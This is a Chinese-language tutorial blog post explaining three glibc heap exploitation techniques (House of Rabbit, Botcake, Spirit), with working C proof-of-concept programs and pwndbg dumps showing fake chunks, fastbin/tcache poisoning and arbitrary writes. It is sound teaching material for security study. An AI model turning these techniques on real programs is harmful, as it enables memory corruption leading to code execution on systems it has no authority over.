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House of 系列堆漏洞详解(二)

House of 系列堆漏洞详解(二)

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House of Rabbit

原理

如果程序同时满足以下三个条件

  1. 可以分配任意大小的堆块并且释放,主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块(用于分配到任意地址处)
  2. 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节
  3. 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针。

当通过malloc函数分配内存时,当超过某特定阈值时,堆块会由mmap来分配,但同时会改变该阈值。通过连续malloc然后free两次超大chunk,会扩大top chunk的size。在申请一个fast chunk和一个small chunk,保证small chunk紧邻top chunk。在可控内存处伪造两个chunk,一个大小为0x11,绕过检查,一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位。再利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fast bin链表。free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中。再申请一个超大 chunk,0xfffffffffffffff1大小的fake chunk会链接到 largebin,最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置,从而可以分配到任意地址,达到内存任意写的目的。

Poc

c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
void *p, *fast, *small, *fake;
char *victim;

setbuf(stdin, NULL);
setbuf(stdout, NULL);

//在不泄漏地址的情况下绕过堆ASLR,使覆盖位于任意地址的变量成为可能。
printf("House of Rabbit Poc\n\n");

printf("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n");
evict_tcache(0x18);
evict_tcache(0x88);

printf("1. 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);

p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);
printf(" 'av->system_mem' 将会比 0xa00000 大.\n\n");

printf("2. Free fast chunk 插入 fastbins 链表\n");
fast = malloc(0x18);
small = malloc(0x88);
printf( " 申请 fast chunk 和 small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");

printf("3. 在 .bss 构造 fake_chunk\n");
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\n"
" fake_chunk2 (size : 0x%lx) is at %p\n\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);

fake = &gbuf[2];
printf( "漏洞利用 (UAF,fastbins dup等)\n"
" *fast = %p\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));

printf( "4. 调用 malloc_consolidate\n"
" Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n"
, small, fake);
free(small);

printf( "5. 将 unsorted bins 链接到合适的链表\n"
" 将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " 申请一个超大 chunk.\n"
" 现在, fake_chunk1 会链接到 largebin[126](max).\n"
" 然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;

printf( "6. 覆写 .data 段上的目标值\n"
" 目标值位于 %p\n"
" 覆写之前是 : %s\n"
, &target, target);

malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" 在 %p 申请 0x10 byte, 然后任意写入.\n", victim);
strcpy(victim, "Hacked!!");

printf(" 覆写之后是 : %s\n", target);
}

void evict_tcache(size_t size){
void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);

#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);

*(void**)p = NULL;

malloc(size);
#else

#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

image.png

分步分析

1 malloc两个堆块使av->system_mem > 0xa00000

c
p = malloc(0xa00000);
free(p);

p = malloc(0xa00000);
free(p);
bash
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /home/kabeo/Desktop/house_of_rabbit
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/house_of_rabbit
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/house_of_rabbit
0x603000 0x1024000 rw-p a21000 0 [heap] <===== 扩大到0xa21000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

2 Free fast chunk 插入 fastbins 链表

c
fast = malloc(0x18);
small = malloc(0x88);

free(fast);
Code
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x603020 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6030b0 PREV_INUSE {
prev_size = 0,
size = 10620753,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}


pwndbg> bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000000021 <==== fast
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000091 <==== small
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51 <==== top chunk
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000

3 在 .bss 段构造 fake_chunk

c
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;

fake = &gbuf[2];
Code
pwndbg> x/20xg 0x6020f0-0x20
0x6020d0 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0x0000000000000021 <==== fake chunk
0x602100 <gbuf+32>: 0x0000000000000000 0x0000000000000000
0x602110 <gbuf+48>: 0x0000000000000000 0x0000000000000001
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000

4 通过其他漏洞改写fast chunk指向fake chunk

c
*(unsigned long**)fast = fake;
Code
pwndbg> bins 
fastbins
0x20: 0x603000 —▸ 0x6020f0 (gbuf+16) ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty


pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00000000006020f0 0x0000000000000000 <==== 改写fastbin指向
0x603020: 0x0000000000000000 0x0000000000000091
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000

5 调用 malloc_consolidate,Free 和top相邻的 small chunk , 将 fake_chunk1插入 unsorted bins 链表

c
free(small);
Code
pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000a21001 <==== fast chunk size改变
0x603010: 0x00000000006020f0 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000a20fe1 <==== small chunk size改变
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000

6 申请一个超大 chunk,fake_chunk1将链接到 largebin,修改fake_chunk1 size

c
gbuf[3] = 0xa00001;
malloc(0xa00000);

gbuf[3] = 0xfffffffffffffff1;
Code
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 10485777,
fd = 0x6020f0 <gbuf+16>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0xa20fe1
}
0x1003010 PREV_INUSE {
prev_size = 0,
size = 135153,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
0x80000: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd2348 (main_arena+2088) ◂— 0x6020f0
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000a00011
0x603010: 0x00000000006020f0 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000a20fe1
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000

0x6020d0 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0xfffffffffffffff1 <==== 修改fake chunk size
0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348
0x602110 <gbuf+48>: 0x00000000006020f0 0x00000000006020f0
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000

7 覆写可控内存,达到内存任意写

c
malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);

strcpy(victim, "Hacked!!");
Code
pwndbg> x/20xg 0x602080-0x10
0x602070: 0x0000000000000000 0x0000000000000021
0x602080 <target>: 0x212164656b636148 0x00007ffff7dd1b00
0x602090 <target+16>: 0x0000000000000000 0x0000000000000051
0x6020a0 <target+32>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000
0x6020d0 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0x0000000000000050 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0xffffffffffffff81
0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348

image.png

Glibc 2.26

从Glibc2.26开始加入了tcache,可通过以下代码绕过

c
void evict_tcache(size_t size){
void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);

#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);

*(void**)p = NULL;

malloc(size);
#else

#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

利用思路

house of rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的效果,因此在存在sh的文件中可直接getshell。

House_of_botcake

原理

house of botcake利用手法只需要程序存在double free即可。

首先填充 tcache bin 链表,然后使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表,然后利用堆块重叠将double free块的fd指针覆写为目标位置,再次malloc即可控制到目标位置,达到任意写操作。

Poc

c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
puts("House of botcake Poc\n\n");

//禁用缓冲并使_FILE_IO不影响堆
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// 准备目标
intptr_t stack_var[4];
printf("目标地址是 %p.\n\n", stack_var);

puts("堆布局构造");
puts("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("为之后的合并申请一个 prev chunk");
intptr_t *prev = malloc(0x100);
puts("申请用于double free的 victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("申请一个填充chunk防止top chunk合并.\n");
malloc(0x10);

puts("接下来可以造成堆块重叠");
puts("Step 1: 填充 tcache bin 链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free victim chunk 并链接到 unsorted bin");
free(a);

puts("Step 3: free prev chunk 使它和 victim chunk 合并.");
free(prev);

puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n");
malloc(0x100);
free(a);
puts("double free 利用完成\n\n");

puts("tcache 毒化");
puts("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化");
intptr_t *b = malloc(0x120);
puts("将 victim chunk 的 fd 指针覆写为目标位置");
b[0x120/8-2] = (long)stack_var;

puts("malloc申请到目标位置.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("新申请的 chunk 位于 %p\n", c);

assert(c==stack_var);
printf("已控制目标位置!\n\n");

return 0;
}

image.png

分步分析

1 堆内布局构造

c
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}

intptr_t *prev = malloc(0x100);

intptr_t *a = malloc(0x100);

malloc(0x10);
Code
pwndbg> x/50xg 0x555555559f20-0x20
...
0x555555559f00: 0x0000000000000000 0x0000000000000000
0x555555559f10: 0x0000000000000000 0x0000000000000000
0x555555559f20: 0x0000000000000000 0x0000000000000111 <==== victim chunk
0x555555559f30: 0x0000000000000000 0x0000000000000000
0x555555559f40: 0x0000000000000000 0x0000000000000000
0x555555559f50: 0x0000000000000000 0x0000000000000000
0x555555559f60: 0x0000000000000000 0x0000000000000000
0x555555559f70: 0x0000000000000000 0x0000000000000000
0x555555559f80: 0x0000000000000000 0x0000000000000000
0x555555559f90: 0x0000000000000000 0x0000000000000000
0x555555559fa0: 0x0000000000000000 0x0000000000000000
0x555555559fb0: 0x0000000000000000 0x0000000000000000
0x555555559fc0: 0x0000000000000000 0x0000000000000000
0x555555559fd0: 0x0000000000000000 0x0000000000000000
0x555555559fe0: 0x0000000000000000 0x0000000000000000
0x555555559ff0: 0x0000000000000000 0x0000000000000000
0x55555555a000: 0x0000000000000000 0x0000000000000000
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x0000000000000000 0x0000000000000021 <==== 防止合并
0x55555555a040: 0x0000000000000000 0x0000000000000000
0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x0000000000000000

2 填充 tcache bin 链表

c
for(int i=0; i<7; i++){
free(x[i]);
}
Code
pwndbg> tcachebins 
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0

3 free victim chunk 并链接到 unsorted bin

c
free(a);
Code
pwndbg> bins 
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559f20 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559f20
smallbins
empty
largebins
empty

4 free prev chunk 使它和 victim chunk 合并

c
free(prev);
Code
pwndbg> bins 
tcachebins
0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0
0x410 [ 1]: 0x5555555592a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555559e10 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559e10 <====== 合并
smallbins
empty
largebins
empty

5 使用malloc从tcache bin链表中取出一个chunk,double free将 victim chunk 加入tcache bin链表

c
malloc(0x100);

free(a);
Code
pwndbg> tcachebins 
0x110 [ 6]: 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <======== malloc取出
0x410 [ 1]: 0x5555555592a0 ◂— 0x0


pwndbg> tcachebins
0x110 [ 7]: 0x555555559f30 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <====== double free加入
0x410 [ 1]: 0x5555555592a0 ◂— 0x0

6 利用堆块重叠将 victim chunk 的 fd 指针覆写为目标位置

c
intptr_t *b = malloc(0x120);

b[0x120/8-2] = (long)stack_var;
Code
pwndbg> x/50xg 0x555555559f20-0x20
0x555555559f00: 0x0000000000000000 0x0000000000000000
0x555555559f10: 0x0000000000000000 0x0000000000000000
0x555555559f20: 0x0000000000000000 0x0000000000000111
0x555555559f30: 0x00007fffffffdb00 0x0000555555559010 <==== 堆块重叠,写入fd
0x555555559f40: 0x0000000000000000 0x00000000000000f1
0x555555559f50: 0x00007ffff7faebe0 0x00007ffff7faebe0
0x555555559f60: 0x0000000000000000 0x0000000000000000
0x555555559f70: 0x0000000000000000 0x0000000000000000
...
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x00000000000000f0 0x0000000000000020
0x55555555a040: 0x0000000000000000 0x0000000000000000
0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk
0x55555555a060: 0x0000000000000000 0x0000000000000000
0x55555555a070: 0x0000000000000000 0x0000000000000000
0x55555555a080: 0x0000000000000000 0x0000000000000000

7 malloc申请到目标位置

c
malloc(0x100);
intptr_t *c = malloc(0x100);

image.png

利用思路

该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。

House of Spirit

原理

通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。

Poc

c
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "House of Spirit Poc\n\n");

fprintf(stderr, "Step1: malloc初始化堆内存\n\n");
malloc(1);

fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的 fastbin 区域\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "\t这片区域 (长度为: %lu) 包含两个 fake chunk.\n", sizeof(fake_chunks));
fprintf(stderr, "\t第一个fake chunk位于 %p\n", &fake_chunks[1]);
fprintf(stderr, "\t第二个fake chunk位于 %p\n", &fake_chunks[9]);

fake_chunks[1] = 0x40;

fprintf(stderr, "\t第二个fake chunk 的size必须大于 2*SIZE_SZ (x64上 > 16) && 小于 av->system_mem,用于绕过nextsize检查\n");
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk %p \n\n", &fake_chunks[1]);
a = &fake_chunks[2];

fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
free(a);

fprintf(stderr, "Step4: malloc申请到fake chunk\n");
fprintf(stderr, "\t再次malloc将会在 %p 返回fake chunk %p \n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}

image.png

分步分析

1 malloc初始化堆内存

c
malloc(1);
Code
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

pwndbg> x/10xg 0x602020-0x20
0x602000: 0x0000000000000000 0x0000000000000021 <==== 改写目标chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

2 覆盖一个堆指针指向伪造的 fastbin 区域

c
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fake_chunks[1] = 0x40;
fake_chunks[9] = 0x1234; // nextsize

a = &fake_chunks[2];
Code
pwndbg> x/16xg 0x7fffffffdca8
0x7fffffffdca8: 0x0000000000000040 0x00007ffff7ffe168 <==== fake chunk1
0x7fffffffdcb8: 0x0000000000f0b5ff 0x0000000000000001
0x7fffffffdcc8: 0x00000000004008dd 0x00007fffffffdcfe
0x7fffffffdcd8: 0x0000000000000000 0x0000000000400890
0x7fffffffdce8: 0x0000000000001234 0x00007fffffffdde0 <==== fake chunk2
0x7fffffffdcf8: 0xce9b2a14d1359800 0x0000000000400890
0x7fffffffdd08: 0x00007ffff7a2d830 0x0000000000000001
0x7fffffffdd18: 0x00007fffffffdde8 0x00000001f7ffcca0

3 free该堆指针

c
free(a);
Code
pwndbg> fastbins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdca0 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

4 malloc申请到该区域

c
malloc(0x30);

image.png

tcache

glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降

tcache house of spirit只需伪造一个size区域,然后将伪造的fakechunk释放,再次malloc相应大小就可以得到fake_chunk。

利用思路

house_of_spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。

总结

House of系列堆漏洞的分析到这里就结束了,通过gdb单步调试,对堆结构等熟悉了很多。

在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞,在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。

文章作者: kabeor
文章链接: https://kabeor.github.io/House%20of%20%E7%B3%BB%E5%88%97%E5%A0%86%E6%BC%8F%E6%B4%9E%E8%AF%A6%E8%A7%A3(%E4%BA%8C)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 K's House

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